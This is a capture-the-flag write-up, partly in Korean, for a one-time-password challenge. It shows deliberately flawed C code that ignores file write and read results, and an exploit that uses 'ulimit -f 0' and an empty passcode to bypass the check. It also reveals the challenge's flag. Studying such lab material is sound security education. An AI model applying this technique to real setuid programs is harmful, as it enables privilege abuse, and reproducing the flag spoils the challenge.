Description
I made a skeleton interface for one time password authentication system. I guess there are no security mistakes. could you take a look at it? Hint : no need to brute-force ssh [email protected] -p2222 (pw:guest)
Source Code
- otp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
int main(int argc, char* argv[]){
char fname[128];
unsigned long long otp[2];
if(argc!=2){
printf("usage : ./otp [passcode]\n");
return 0;
}
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);
if(read(fd, otp, 16)!=16) exit(-1);
close(fd);
sprintf(fname, "/tmp/%llu", otp[0]);
FILE* fp = fopen(fname, "w");
if(fp==NULL){ exit(-1); }
fwrite(&otp[1], 8, 1, fp);
fclose(fp);
printf("OTP generated.\n");
unsigned long long passcode=0;
FILE* fp2 = fopen(fname, "r");
if(fp2==NULL){ exit(-1); }
fread(&passcode, 8, 1, fp2);
fclose(fp2);
if(strtoul(argv[1], 0, 16) == passcode){
printf("Congratz!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("OTP mismatch\n");
}
unlink(fname);
return 0;
}
/dev/urandom에서 16바이트(8바이트씩 2개)를 읽어 otp[0]과 otp[1]에 저장한다.
임시 파일 이름을 /tmp/[otp[0]], 파일 내용을 otp[1] (8바이트)로 지정한다.
방금 만든 임시 파일을 다시 열어 otp[1] 값을 읽어오고 16진수 숫자로 변환하여 사용자 입력인 argv[1] 와 비교했을때 일치하면 flag를 획득할 수 있다.
Solution
ulimit
간략히 설명하면, ulimit 명령어는 생성시킬 수 있는 파일 사이즈 크기를 임의로 지정시켜줄 수 있다.
ULIMIT(3) Linux Programmer's Manual ULIMIT(3)
NAME
ulimit - get and set user limits
SYNOPSIS
#include <ulimit.h>
long ulimit(int cmd, long newlimit);
DESCRIPTION
Warning: this routine is obsolete. Use getrlimit(2), setrlimit(2), and
sysconf(3) instead. For the shell command ulimit(), see bash(1).
The ulimit() call will get or set some limit for the calling process. The
cmd argument can have one of the following values.
UL_GETFSIZE
Return the limit on the size of a file, in units of 512 bytes.
UL_SETFSIZE
Set the limit on the size of a file.
3 (Not implemented for Linux.) Return the maximum possible address
of the data segment.
4 (Implemented but no symbolic constant provided.) Return the maxi‐
mum number of files that the calling process can open.
RETURN VALUE
On success, ulimit() returns a nonnegative value. On error, -1 is re‐
turned, and errno is set appropriately.
ERRORS
EPERM An unprivileged process tried to increase a limit.
ATTRIBUTES
For an explanation of the terms used in this section, see attributes(7).
┌──────────┬───────────────┬─────────┐
│Interface │ Attribute │ Value │
├──────────┼───────────────┼─────────┤
│ulimit() │ Thread safety │ MT-Safe │
└──────────┴───────────────┴─────────┘
CONFORMING TO
SVr4, POSIX.1-2001. POSIX.1-2008 marks ulimit() as obsolete.
SEE ALSO
bash(1), getrlimit(2), setrlimit(2), sysconf(3)
Result
생성시킬 수 있는 파일 사이즈를 0으로 지정했기에 fp2로부터 fread했을시 passcode에 아무것도 들어가있지 않다.
따라서 otp 실행인자를 비어두게 만들면 플래그를 획득할 수 있다.
otp@ubuntu:~$ ulimit -f 0 otp@ubuntu:~$ python2 Python 2.7.18 (default, Dec 9 2024, 18:47:23) [GCC 11.4.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import subprocess >>> subprocess.call(['/home/otp/otp', '']) OTP generated. Congratz! f1le_0peration_r3turn_value_matters